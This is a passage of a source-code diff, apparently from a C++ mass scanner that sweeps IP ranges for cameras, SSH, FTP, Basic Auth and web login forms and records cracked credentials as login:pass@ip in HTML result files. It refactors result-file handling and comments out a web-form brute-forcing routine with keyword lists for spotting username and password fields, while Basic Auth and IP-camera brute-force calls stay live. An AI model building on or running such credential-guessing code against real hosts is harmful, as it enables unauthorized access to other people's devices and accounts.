1, port, ip, cp); - else if ((sz > 500 && sz <= 3500) || sz > 180000) res = _mainFinderFirst(buff, 0, port, ip, cp); - else if (sz > 3500 && sz <= 180000) res = _mainFinderSecond(buff, port, ip, cp); - - return res; -} - -void fillGlobalLogData(const char *ip, int port, const char *sz, char *title, +void fillGlobalLogData(const char *ip, int port, const char *sz, const char *title, const char *login, const char *pass, char *comment, char *cdpg, char *clss) { if(trackerOK == true) @@ -503,15 +546,12 @@ int __checkFileExistence(int flag) { char fileName[64] = {0}; - if(flag == 666 || flag == 350) strcpy(fileName, RESULT_DIR_NAME"/STRANGE_ERROR.html"); - else if(flag == -22) strcpy(fileName, RESULT_DIR_NAME"/ssh.html"); - else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, RESULT_DIR_NAME"/strange.html"); - else if(flag == 3) strcpy(fileName, RESULT_DIR_NAME"/other.html"); - else if(flag == 7) strcpy(fileName, RESULT_DIR_NAME"/low_loads.html"); - else if(flag == 10) strcpy(fileName, RESULT_DIR_NAME"/LoginForms.html"); - else if(flag == 16) strcpy(fileName, RESULT_DIR_NAME"/FTP.html"); + if (flag == -22) sprintf(fileName, "./result_files-%s/"TYPE5".html", Utils::getStartDate().c_str()); + else if (flag == 0 || flag == 15 || flag == -10) sprintf(fileName, "./result_files-%s/"TYPE1".html", Utils::getStartDate().c_str()); + else if (flag == 3) sprintf(fileName, "./result_files-%s/"TYPE2".html", Utils::getStartDate().c_str()); + else if (flag == 16) sprintf(fileName, "./result_files-%s/"TYPE4".html", Utils::getStartDate().c_str()); else if(flag >= 17 || flag == 11 || flag == 12 - || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, RESULT_DIR_NAME"/Basicauth.html"); + || flag == 13 || flag == 14 || flag == 1) sprintf(fileName, "./result_files-%s/"TYPE3".html", Utils::getStartDate().c_str()); FILE *f = fopen(fileName, "r"); if(f == NULL) return true; @@ -521,60 +561,51 @@ int __checkFileExistence(int flag) return false; }; } - -bool ftsAnom = true; +bool ftsCameras = true; bool ftsOther = true; bool ftsSSH = true; -bool ftsLL = true; bool ftsFTP = true; bool ftsBA = true; -bool ftsLF = true; - -bool fOpened = false; -char styleBuff[1024] = {""}; -char topBuff[1024] = {"

"}; +std::atomic fOpened = false; void fputsf(char *text, int flag, char *msg) { FILE *file = NULL; + char fileName[256] = { 0 }; + if(flag == 0 || flag == 15 || flag == -10) { - if(ftsAnom) ftsAnom = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/strange.html", "a"); + if (ftsCameras) ftsCameras = __checkFileExistence(flag); + sprintf(fileName, "./result_files-%s/"TYPE1".html", Utils::getStartDate().c_str()); + file = fopen(fileName, "a"); } - else if(flag == 3) + else if(flag == 1) { if(ftsOther) ftsOther = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/other.html", "a"); + sprintf(fileName, "./result_files-%s/"TYPE2".html", Utils::getStartDate().c_str()); + file = fopen(fileName, "a"); } else if(flag == -22) { if(ftsSSH) ftsSSH = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/SSH.html", "a"); + sprintf(fileName, "./result_files-%s/"TYPE5".html", Utils::getStartDate().c_str()); + file = fopen(fileName, "a"); } - else if(flag == 7) - { - if(ftsLL) ftsLL = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/low_loads.html", "a"); - } - else if(flag == 10) - { - if(ftsLF) ftsLF = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/LoginForms.html", "a"); - } - else if(flag == 16) + else if(flag == 3) { if(ftsFTP) ftsFTP = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/FTP.html", "a"); + sprintf(fileName, "./result_files-%s/"TYPE4".html", Utils::getStartDate().c_str()); + file = fopen(fileName, "a"); } else if(flag >= 17 || flag == 11 || flag == 12 - || flag == 13 || flag == 14 || flag == 1 + || flag == 13 || flag == 14 || flag == 2 ) { if(ftsBA) ftsBA = __checkFileExistence(flag); - file = fopen(RESULT_DIR_NAME"/Basicauth.html", "a"); + sprintf(fileName, "./result_files-%s/"TYPE3".html", Utils::getStartDate().c_str()); + file = fopen(fileName, "a"); } - else stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); + else stt->doEmitionRedFoundData("Unknown flag [FLAG: " + QString::number(flag) + "]"); if(file != NULL) { @@ -625,89 +656,59 @@ void fputsf(char *text, int flag, char *msg) strcat (string, ""); }; - if(flag == 0 && ftsAnom) + if (flag == 0 && ftsCameras) { char tmsg[1024] = {0}; - ftsAnom = false; - strcpy(tmsg, "Anomalies"); + ftsCameras = false; + strcpy(tmsg, ""TYPE1""); strcat(tmsg, msg); - strcat(tmsg, styleBuff); + strcat(tmsg, HTTP_FILE_STYLE); fputs (tmsg, file); - fputs ("

", file); + fputs(HTTP_FILE_HEADER, file); }; - if(flag == 3 && ftsOther) + if(flag == 1 && ftsOther) { char tmsg[1024] = {0}; ftsOther = false; - strcpy(tmsg, "Suspicious"); + strcpy(tmsg, ""TYPE2""); strcat(tmsg, msg); - strcat(tmsg, styleBuff); + strcat(tmsg, HTTP_FILE_STYLE); fputs (tmsg, file); - fputs (topBuff, file); + fputs(HTTP_FILE_HEADER, file); }; if(flag == -22 && ftsSSH) { char tmsg[1024] = {0}; ftsOther = false; - strcpy(tmsg, "SSH"); + strcpy(tmsg, ""TYPE5""); strcat(tmsg, msg); - strcat(tmsg, styleBuff); + strcat(tmsg, HTTP_FILE_STYLE); fputs (tmsg, file); - fputs (topBuff, file); + fputs(HTTP_FILE_HEADER, file); }; - if(flag == 7 && ftsLL) - { - char tmsg[1024] = {0}; - ftsLL = false; - strcpy(tmsg, "Lowloads"); - strcat(tmsg, msg); - strcat(tmsg, styleBuff); - fputs (tmsg, file); - fputs (topBuff, file); - }; - if(flag == 16 && ftsFTP) + if(flag == 3 && ftsFTP) { char tmsg[1024] = {0}; ftsFTP = false; - strcpy(tmsg, "FTP"); + strcpy(tmsg, ""TYPE4""); strcat(tmsg, msg); - strcat(tmsg, styleBuff); + strcat(tmsg, HTTP_FILE_STYLE); fputs (tmsg, file); - fputs (topBuff, file); + fputs(HTTP_FILE_HEADER, file); }; - if(flag == 10 && ftsLF) - { - char tmsg[1024] = {0}; - ftsLF = false; - strcpy(tmsg, "LoginsForms"); - strcat(tmsg, msg); - strcat(tmsg, styleBuff); - fputs (tmsg, file); - fputs (topBuff, file); - - }; - if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1) && ftsBA) + if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 2) && ftsBA) { char tmsg[1024] = {0}; ftsBA = false; - strcpy(tmsg, "BasicAuth"); + strcpy(tmsg, ""TYPE3""); strcat(tmsg, msg); - strcat(tmsg, styleBuff); + strcat(tmsg, HTTP_FILE_STYLE); fputs (tmsg, file); - fputs (topBuff, file); + fputs(HTTP_FILE_HEADER, file); }; - int innerCounter = 0; - while(fOpened) - { - if(innerCounter > 20) - { - stt->doEmitionRedFoundData("\"fOpened\" loop detected!"); - break; - }; - - ++innerCounter; - Sleep((rand() % 100 + 60)); + while(fOpened) { + Sleep((rand() % 10 + 60)); }; fOpened = true; fputs (string, file); @@ -718,12 +719,15 @@ void fputsf(char *text, int flag, char *msg) } else { - stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "] " + QString::number(GetLastError())); + stt->doEmitionRedFoundData("Cannot open file [Flag: " + QString::number(flag) + " Err:" + QString::number(GetLastError()) + "]"); MainStarter::createResultFiles(); }; } -void putInFile(int flag, const char *ip, int port, int size, char *finalstr, char *cp) +#define REDIRECT_PIC "" +#define PEKO_PIC "" + +void putInFile(int flag, const char *ip, int port, int size, const char *finalstr, char *cp) { char log[4096] = {0}, msg[512] = {0}; @@ -764,40 +768,23 @@ void putInFile(int flag, const char *ip, int port, int size, char *finalstr, cha resMes += " : " + strf.toHtmlEscaped() + ""; }; - stt->doEmitionFoundData(resMes); + resMes.replace("[PK]", PEKO_PIC); + stt->doEmitionFoundData(resMes.replace("[R]", REDIRECT_PIC)); sprintf(log, "%s:%d; Received: %d", ip, port, ip, port, size); - if(flag == 666 || flag == 350) + //Generic camera + if(flag == 0 || flag == 15 || flag == -10) { - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Strange error"); - ++PieAnomC1; - ++AnomC1; + fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, TYPE1); } - else if(flag == 0 || flag == 15 || flag == -10) + //Other + else if(flag == 1) { - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Anomaly"); - ++PieAnomC1; - ++AnomC1; + fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, TYPE2); } - else if(flag == 3) - { - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Suspicious"); - ++PieSusp; - ++Susp; - } - else if(flag == 7) - { - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Low load"); - ++PieLowl; - } - else if(flag == 10) - { - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, "", "", "", cp, "Login form"); - ++PieWF; - }; - + //Special camera (Hikk, RVI, Safari, etc) if(flag != 6 && flag != 5 && flag != 4) { strcat(log, "; T: "); @@ -812,12 +799,12 @@ void putInFile(int flag, const char *ip, int port, int size, char *finalstr, cha ZeroMemory(msg, strlen(msg)); } -void _specFillerBA(const char *ip, int port, char *finalstr, const char *login, const char *pass, int flag) +void _specFillerBA(const char *ip, int port, const char *finalstr, const char *login, const char *pass, int flag) { char log[512] = {0}; ++PieBA; - if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) + if (strlen(login) > 0 || strlen(pass) > 0) { sprintf(log, "[BA]:%s:%s@%s:%d T: %s\n", login, pass, ip, port, login, pass, ip, port, finalstr); @@ -831,383 +818,382 @@ void _specFillerBA(const char *ip, int port, char *finalstr, const char *login, fputsf (log , flag, "Basic Authorization"); } -void _specFillerWF(const char *ip, int port, char *finalstr, char *login, char *pass, int flag) -{ - char log[512] = {0}; - - ++PieWF; - - sprintf(log, "[WF]:%s:%s T: %s Pass: %s:%s\n", - ip, port, ip, port, finalstr, login, pass); - - stt->doEmitionFoundData(QString::fromLocal8Bit(log)); - - fputsf (log , flag, "Web Form"); -} - -void _getFormVal(char *data, char *result, char *key, char *path = NULL) -{ - char parVal[256] = {0}; - int psz = 0; - char *pkeyResult1 = strstr(data, ">"); - if(pkeyResult1 != NULL) - { - psz = pkeyResult1 - data + 1; - strncpy(parVal, data, (psz < 256 ? psz : 256)); - } - else - { - strncpy(parVal, data, 256); - }; - - int sz = 0; - char parVal2[256] = {0}; - - char startPath[256] = {0}; - if(strcmp(key, "action") == 0) - { - if(strstr(path, "./") == NULL) - { - char *ptrP1 = _findLast(path, "/"); - if(ptrP1 != path) - { - int pSz = ptrP1 -path; - strncpy(startPath, path, pSz); - }; - }; - }; - - char *keyResult1 = strstri(parVal, key); - - if(keyResult1 != NULL) - { - char *pkeyResult2 = _findFirst(keyResult1, " >"); - if(pkeyResult2 != NULL) - { - int psz2 = pkeyResult2 - keyResult1; - strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); - - char *keyResult2 = _findFirst(parVal2, "'\""); - if(keyResult2 != NULL) - { - char *keyResult3 = _findFirst(keyResult2 + 1, "'\"> "); - if(keyResult3 != NULL) - { - sz = keyResult3 - keyResult2 - 1; - char tempRes[256] = {0}; - if(strstr(keyResult2, "./") != NULL) - { - strcpy(result, startPath); - strncpy(tempRes, keyResult2 + 2, sz - 1); - if(tempRes[0] != '/') strcat(result, "/"); - strcat(result, tempRes); - } - else if(strstr(keyResult2, "/") == NULL) - { - if(strcmp(key, "action") == 0) - { - strcpy(result, startPath); - strncpy(tempRes, keyResult2 + 1, sz); - if(tempRes[0] != '/') strcat(result, "/"); - strcat(result, tempRes); - } - else - { - strncpy(result, keyResult2 + 1, sz); - }; - } - else - { - strncpy(result, keyResult2 + 1, sz); - }; - }; - } - else - { - keyResult2 = _findFirst(parVal2, "="); - if(keyResult2 != NULL) - { - char *keyResult3 = _findFirst(keyResult2, "'\"> "); - if(keyResult3 != NULL ) - { - sz = keyResult3 - keyResult2 - 1; - strncpy(result, keyResult2 + 1, sz); - char tempRes[256] = {0}; - if(strstr(keyResult2, "./") != NULL) - { - strcpy(result, startPath); - strncpy(tempRes, keyResult2 + 2, sz - 1); - if(tempRes[0] != '/') strcat(result, "/"); - strcat(result, tempRes); - } - else if(strstr(keyResult2, "/") == NULL) - { - if(strcmp(key, "action") == 0) - { - strcpy(result, startPath); - strncpy(tempRes, keyResult2 + 1, sz); - if(tempRes[0] != '/') strcat(result, "/"); - strcat(result, tempRes); - } - else - { - strncpy(result, keyResult2 + 1, sz); - }; - } - else - { - strncpy(result, keyResult2 + 1, sz); - }; - } - else - { - strcpy(result, startPath); - strcat(result, keyResult2 + 1); - }; - } - }; - - } - else - { - stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); - }; - }; -} - -static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; -std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); -static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"}; -std::vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); - -char *_getAttribute(const char *str, char *attrib) -{ - if(strstri(str, attrib) != NULL) - { - char res[1024] = {0}; - char *ptrStart = strstri(str, attrib); - char *ptrEnd = _findFirst(ptrStart, "\r\n"); - if(ptrEnd != NULL) - { - int szAt = strlen(attrib); - int sz = ptrEnd - ptrStart - szAt; - - if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); - else return ""; - - return res; - } - else return ""; - } - else return ""; -} - -void _getInputVal(std::vector inputVec, char *buff, char *key) -{ - char *pos = NULL; - char field[256] = {0}; - if(strcmp(key, "USER") == 0) - { - for(int i = 0; i < inputVec.size(); ++i) - { - ZeroMemory(field, 256); - _getFormVal((char*)inputVec[i].data(), field, "name="); - for(int j = 0; j < vecUser.size(); ++j) - { - pos = strstri(field, vecUser[j].data()); - if(pos != NULL) - { - strncpy(buff, field, 256); - return; - }; - }; - }; - } - else - { - for(int i = 0; i < inputVec.size(); ++i) - { - ZeroMemory(field, 256); - _getFormVal((char*)inputVec[i].data(), field, "name="); - for(int j = 0; j < vecPass.size(); ++j) - { - pos = strstri(field, vecPass[j].data()); - if(pos != NULL) - { - strncpy(buff, field, 256); - return; - }; - }; - }; - }; -} - -void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title) -{ - if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) - { - if(gNegDebugMode) - { - stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected."); - }; - return; - }; - - char methodVal[128] = {0}; - char actionVal[512] = {0}; - char userVal[128] = {0}; - char passVal[128] = {0}; - char frmBlock[4096] = {0}; - char *fBlock = strstri(buff, "
inputVec; - if(fBlock != NULL) - { - char *fBlock2 = strstri(fBlock, ">"); - int szfb2 = fBlock2 - fBlock; - strncpy(formVal, fBlock, (szfb2 < 128 ? szfb2 : 128)); - char *frmBlockEnd = strstri(fBlock, "
"); - if(frmBlockEnd != NULL) - { - fbsz = frmBlockEnd - fBlock; - strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096)); - } - else - { - strncpy(frmBlock, fBlock, 4096); - }; - - _getFormVal(frmBlock, methodVal, "method"); - _getFormVal(frmBlock, actionVal, "action", path); - if(actionVal[0] == '.') - { - char tmpBuff[512] = {0}; - char *tempPtr1 = _findLast(path, "/"); - int sz = tempPtr1 - path; - if(sz > 0) - { - strncpy(tmpBuff, path, sz); - strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1); - ZeroMemory(actionVal, sizeof(actionVal)); - strcpy(actionVal, tmpBuff); - }; - }; - - char *inptPtr1 = strstri(frmBlock, ""); - if(inptPtrEnd != NULL) - { - ZeroMemory(tempInptStr, 256); - insz = inptPtrEnd - inptPtr1 + 1; - strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256)); - inputVec.push_back(std::string(tempInptStr)); - inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); - ///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass); - ///putInFile(flag, ip, tport, size, title, cp); - }; - } - else - { - stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); - fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass); - putInFile(flag, ip, port, size, title, cp); - }; - - if(strlen(methodVal) == 0) - { - strcpy(methodVal, "GET"); - }; - if(strlen(actionVal) == 0) - { - strcpy(actionVal, "/"); - } - else - { - if(strstri(actionVal, "http") != NULL) - { - char tmp[128] = {0}; - strncpy(tmp, actionVal, 128); - if(strstr(tmp, "//") != NULL) - { - char *tmp1 = strstr(tmp, "//"); - char *tmp2 = strstr(tmp1 + 2, "/"); - ZeroMemory(actionVal, 128); - if(tmp2 != NULL) - { - strncpy(actionVal, tmp2, strlen(tmp2)); - } - else - { - strcpy(actionVal, "/"); - }; - } - else if(strstr(tmp, "%2f%2f") != NULL) - { - char *tmp1 = strstr(tmp, "%2f%2f"); - char *tmp2 = strstr(tmp1 + 6, "%2f"); - ZeroMemory(actionVal, 128); - if(tmp2 != NULL) - { - strcpy(actionVal, "/"); - strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3); - } - else - { - strcpy(actionVal, "/"); - }; - }; - }; - if(actionVal[0] != '/') - { - char temp[128] = {0}; - strncpy(temp, actionVal, 128); - strcpy(actionVal, "/"); - strncat(actionVal, temp, strlen(temp)); - }; - }; - - if(inputVec.size() > 0) - { - if(strlen(userVal) != 0 && strlen(passVal) != 0) - { - WFClass WFC; - lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal); - - if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) - { - _specFillerWF(ip, port, title, lps.login, lps.pass, flag); - - fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass); - putInFile(flag, ip, port, size, title, cp); - }; - } - else - { - if(gNegDebugMode) stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + - " - [WF]: Cannot find user/pass field."); - }; - }; -} +//void _specFillerWF(const char *ip, int port, char *finalstr, char *login, char *pass, int flag) +//{ +// char log[512] = {0}; +// +// ++PieWF; +// +// sprintf(log, "[WF]:%s:%s T: %s Pass: %s:%s\n", +// ip, port, ip, port, finalstr, login, pass); +// +// stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +// +// fputsf (log , flag, "Web Form"); +//} +//void _getFormVal(char *data, char *result, char *key, char *path = NULL) +//{ +// char parVal[256] = {0}; +// int psz = 0; +// char *pkeyResult1 = strstr(data, ">"); +// if(pkeyResult1 != NULL) +// { +// psz = pkeyResult1 - data + 1; +// strncpy(parVal, data, (psz < 256 ? psz : 256)); +// } +// else +// { +// strncpy(parVal, data, 256); +// }; +// +// int sz = 0; +// char parVal2[256] = {0}; +// +// char startPath[256] = {0}; +// if(strcmp(key, "action") == 0) +// { +// if(strstr(path, "./") == NULL) +// { +// char *ptrP1 = _findLast(path, "/"); +// if(ptrP1 != path) +// { +// int pSz = ptrP1 -path; +// strncpy(startPath, path, pSz); +// }; +// }; +// }; +// +// char *keyResult1 = strstri(parVal, key); +// +// if(keyResult1 != NULL) +// { +// char *pkeyResult2 = _findFirst(keyResult1, " >"); +// if(pkeyResult2 != NULL) +// { +// int psz2 = pkeyResult2 - keyResult1; +// strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); +// +// char *keyResult2 = _findFirst(parVal2, "'\""); +// if(keyResult2 != NULL) +// { +// char *keyResult3 = _findFirst(keyResult2 + 1, "'\"> "); +// if(keyResult3 != NULL) +// { +// sz = keyResult3 - keyResult2 - 1; +// char tempRes[256] = {0}; +// if(strstr(keyResult2, "./") != NULL) +// { +// strcpy(result, startPath); +// strncpy(tempRes, keyResult2 + 2, sz - 1); +// if(tempRes[0] != '/') strcat(result, "/"); +// strcat(result, tempRes); +// } +// else if(strstr(keyResult2, "/") == NULL) +// { +// if(strcmp(key, "action") == 0) +// { +// strcpy(result, startPath); +// strncpy(tempRes, keyResult2 + 1, sz); +// if(tempRes[0] != '/') strcat(result, "/"); +// strcat(result, tempRes); +// } +// else +// { +// strncpy(result, keyResult2 + 1, sz); +// }; +// } +// else +// { +// strncpy(result, keyResult2 + 1, sz); +// }; +// }; +// } +// else +// { +// keyResult2 = _findFirst(parVal2, "="); +// if(keyResult2 != NULL) +// { +// char *keyResult3 = _findFirst(keyResult2, "'\"> "); +// if(keyResult3 != NULL ) +// { +// sz = keyResult3 - keyResult2 - 1; +// strncpy(result, keyResult2 + 1, sz); +// char tempRes[256] = {0}; +// if(strstr(keyResult2, "./") != NULL) +// { +// strcpy(result, startPath); +// strncpy(tempRes, keyResult2 + 2, sz - 1); +// if(tempRes[0] != '/') strcat(result, "/"); +// strcat(result, tempRes); +// } +// else if(strstr(keyResult2, "/") == NULL) +// { +// if(strcmp(key, "action") == 0) +// { +// strcpy(result, startPath); +// strncpy(tempRes, keyResult2 + 1, sz); +// if(tempRes[0] != '/') strcat(result, "/"); +// strcat(result, tempRes); +// } +// else +// { +// strncpy(result, keyResult2 + 1, sz); +// }; +// } +// else +// { +// strncpy(result, keyResult2 + 1, sz); +// }; +// } +// else +// { +// strcpy(result, startPath); +// strcat(result, keyResult2 + 1); +// }; +// } +// }; +// +// } +// else +// { +// stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); +// }; +// }; +//} +// +//static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; +//std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); +//static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"}; +//std::vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); +// +//char *_getAttribute(const char *str, char *attrib) +//{ +// if(strstri(str, attrib) != NULL) +// { +// char res[1024] = {0}; +// char *ptrStart = strstri(str, attrib); +// char *ptrEnd = _findFirst(ptrStart, "\r\n"); +// if(ptrEnd != NULL) +// { +// int szAt = strlen(attrib); +// int sz = ptrEnd - ptrStart - szAt; +// +// if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); +// else return ""; +// +// return res; +// } +// else return ""; +// } +// else return ""; +//} +// +//void _getInputVal(std::vector inputVec, char *buff, char *key) +//{ +// char *pos = NULL; +// char field[256] = {0}; +// if(strcmp(key, "USER") == 0) +// { +// for(int i = 0; i < inputVec.size(); ++i) +// { +// ZeroMemory(field, 256); +// _getFormVal((char*)inputVec[i].data(), field, "name="); +// for(int j = 0; j < vecUser.size(); ++j) +// { +// pos = strstri(field, vecUser[j].data()); +// if(pos != NULL) +// { +// strncpy(buff, field, 256); +// return; +// }; +// }; +// }; +// } +// else +// { +// for(int i = 0; i < inputVec.size(); ++i) +// { +// ZeroMemory(field, 256); +// _getFormVal((char*)inputVec[i].data(), field, "name="); +// for(int j = 0; j < vecPass.size(); ++j) +// { +// pos = strstri(field, vecPass[j].data()); +// if(pos != NULL) +// { +// strncpy(buff, field, 256); +// return; +// }; +// }; +// }; +// }; +//} +// +//void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int size, char *title) +//{ +// if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) +// { +// if(gNegDebugMode) +// { +// stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected."); +// }; +// return; +// }; +// +// char methodVal[128] = {0}; +// char actionVal[512] = {0}; +// char userVal[128] = {0}; +// char passVal[128] = {0}; +// char frmBlock[4096] = {0}; +// char *fBlock = strstri(buff, "
inputVec; +// if(fBlock != NULL) +// { +// char *fBlock2 = strstri(fBlock, ">"); +// int szfb2 = fBlock2 - fBlock; +// strncpy(formVal, fBlock, (szfb2 < 128 ? szfb2 : 128)); +// char *frmBlockEnd = strstri(fBlock, "
"); +// if(frmBlockEnd != NULL) +// { +// fbsz = frmBlockEnd - fBlock; +// strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096)); +// } +// else +// { +// strncpy(frmBlock, fBlock, 4096); +// }; +// +// _getFormVal(frmBlock, methodVal, "method"); +// _getFormVal(frmBlock, actionVal, "action", path); +// if(actionVal[0] == '.') +// { +// char tmpBuff[512] = {0}; +// char *tempPtr1 = _findLast(path, "/"); +// int sz = tempPtr1 - path; +// if(sz > 0) +// { +// strncpy(tmpBuff, path, sz); +// strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1); +// ZeroMemory(actionVal, sizeof(actionVal)); +// strcpy(actionVal, tmpBuff); +// }; +// }; +// +// char *inptPtr1 = strstri(frmBlock, ""); +// if(inptPtrEnd != NULL) +// { +// ZeroMemory(tempInptStr, 256); +// insz = inptPtrEnd - inptPtr1 + 1; +// strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256)); +// inputVec.push_back(std::string(tempInptStr)); +// inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); +// ///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass); +// ///putInFile(flag, ip, tport, size, title, cp); +// }; +// } +// else +// { +// stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); +// fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, "NULL", "NULL", comment, cp, tclass); +// putInFile(flag, ip, port, size, title, cp); +// }; +// +// if(strlen(methodVal) == 0) +// { +// strcpy(methodVal, "GET"); +// }; +// if(strlen(actionVal) == 0) +// { +// strcpy(actionVal, "/"); +// } +// else +// { +// if(strstri(actionVal, "http") != NULL) +// { +// char tmp[128] = {0}; +// strncpy(tmp, actionVal, 128); +// if(strstr(tmp, "//") != NULL) +// { +// char *tmp1 = strstr(tmp, "//"); +// char *tmp2 = strstr(tmp1 + 2, "/"); +// ZeroMemory(actionVal, 128); +// if(tmp2 != NULL) +// { +// strncpy(actionVal, tmp2, strlen(tmp2)); +// } +// else +// { +// strcpy(actionVal, "/"); +// }; +// } +// else if(strstr(tmp, "%2f%2f") != NULL) +// { +// char *tmp1 = strstr(tmp, "%2f%2f"); +// char *tmp2 = strstr(tmp1 + 6, "%2f"); +// ZeroMemory(actionVal, 128); +// if(tmp2 != NULL) +// { +// strcpy(actionVal, "/"); +// strncpy(actionVal, tmp2 + 3, strlen(tmp2) - 3); +// } +// else +// { +// strcpy(actionVal, "/"); +// }; +// }; +// }; +// if(actionVal[0] != '/') +// { +// char temp[128] = {0}; +// strncpy(temp, actionVal, 128); +// strcpy(actionVal, "/"); +// strncat(actionVal, temp, strlen(temp)); +// }; +// }; +// +// if(inputVec.size() > 0) +// { +// if(strlen(userVal) != 0 && strlen(passVal) != 0) +// { +// WFClass WFC; +// lopaStr lps = WFC._WFBrute(ip, port, methodVal, actionVal, userVal, passVal, formVal); +// +// if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) +// { +// _specFillerWF(ip, port, title, lps.login, lps.pass, flag); +// +// fillGlobalLogData(ip, port, std::to_string(size).c_str(), title, lps.login, lps.pass, comment, cp, tclass); +// putInFile(flag, ip, port, size, title, cp); +// }; +// } +// else +// { +// if(gNegDebugMode) stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + +// " - [WF]: Cannot find user/pass field."); +// }; +// }; +//} void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC) { @@ -1223,13 +1209,10 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char } int _specBrute(const char *ip, int port, - char *finalstr, int flag, - char *path, char *comment, char *cp, int size, const std::string *buffer) + const char *finalstr, int flag, + char *path, char *comment, char *cp, int size) { - int y = strcmp(comment, "[DIGEST]"); - const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), - port, - (strcmp(comment, "[DIGEST]") == 0 ? true : false)); + const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port); if (strcmp(lps.other, "404") == 0) { @@ -1241,7 +1224,7 @@ int _specBrute(const char *ip, int port, if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { _specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag); - fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); + fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "", cp, "Basic Authorization"); }; } @@ -1404,382 +1387,355 @@ void _saveSSH(const char *ip, int port, int size, const char *buffcpy) }; } -int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector *redirStrLst) -{ - if(ls->iterationCount++ == 5) - { - 